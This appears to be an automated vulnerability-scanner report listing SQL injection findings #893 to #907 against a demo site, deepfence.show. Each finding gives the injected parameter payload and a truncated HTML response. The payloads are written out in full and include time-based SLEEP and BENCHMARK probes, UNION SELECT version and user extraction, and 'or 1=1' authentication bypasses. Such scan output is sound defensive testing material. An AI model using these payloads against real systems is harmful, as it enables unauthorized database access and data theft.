hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #893
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #894
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified Name ValueParameters demouser@
deepfence.ioUNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #895
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ' AND MID(VERSION(),1,1) = '5';
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #896
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #897
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AS INJECTX WHERE 1=1 AND 1=1#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #898
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 1=1 AND '%'='
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #899Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),3#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #900
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io "));waitfor delay '0:0:5'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #901
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+
CHAR(88)+CHAR(118)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #902
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io admin") or "1"="1"--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #903
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io1/0
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #904
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io' and 1=2 --
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #905
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ')) or benchmark(10000000,MD5(1))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #906
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.ioCWE-ID CWE-89
Issue Number #907
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+
CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
